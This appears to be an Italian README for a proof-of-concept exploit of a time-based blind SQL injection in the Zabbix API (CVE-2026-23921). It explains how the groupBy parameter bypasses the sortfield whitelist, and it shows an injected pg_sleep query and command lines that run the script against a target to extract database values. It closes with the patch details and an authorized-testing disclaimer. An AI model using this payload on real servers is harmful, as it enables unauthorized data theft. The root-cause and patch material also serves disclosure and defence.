
Proof-of-concept di exploit per CVE-2026-23921, un'iniezione SQL blind basata sul tempo nell'API di Zabbix tramite il parametro sortfield, che consente l'estrazione di dati dai backend PostgreSQL e MySQL.
Versioni interessate: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: Alto
Tipo: SQL injection cieca basata sul tempo tramite il parametro sortfield
Autenticazione richiesta: Sì (qualsiasi utente API; Super Admin evita i join sui permessi)
I servizi API legacy di Zabbix (host.get, trigger.get, item.get, ecc.) accettano un parametro groupBy non dichiarato tramite zbx_array_merge(). In CApiService::applyQuerySortOptions(), l'array groupBy sostituisce la whitelist hardcoded utilizzata per validare . Un attaccante passa lo stesso payload SQL sia in che in — la validazione passa contro la lista controllata dall'attaccante, e il payload finisce in senza escaping.
sortfieldgroupBysortfieldORDER BYgroupBy: ["hostid,(SELECT IF(...))--"] e sortfield: "hostid,(SELECT IF(...))--" con countOutput: truezbx_array_merge preserva la chiave groupBy non dichiarataapplyQuerySortOptions costruisce la whitelist da groupBy → la validazione passaapplyQuerySortField concatena il payload in ORDER BYcreateSelectQueryFromParts costruisce la query SQL finale senza escapingSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# Backend PostgreSQL (predefinito)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# Backend MySQL
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Token di autenticazione esistente
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Estrarre un'espressione arbitraria
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Usare un metodo API diverso
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Aggiornare a Zabbix 7.0.22 / 7.2.15 / 7.4.6 o versioni successive.
La patch sostituisce array_merge($options['groupBy'], ...) con array_intersect($this->sortColumns, $options['groupBy']) in modo che i valori forniti dall'attaccante non entrino mai nella whitelist. Sono stati aggiunti ulteriori controlli di tipo is_string() e is_array() come difesa in profondità.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Utilizzarlo solo contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta ai test.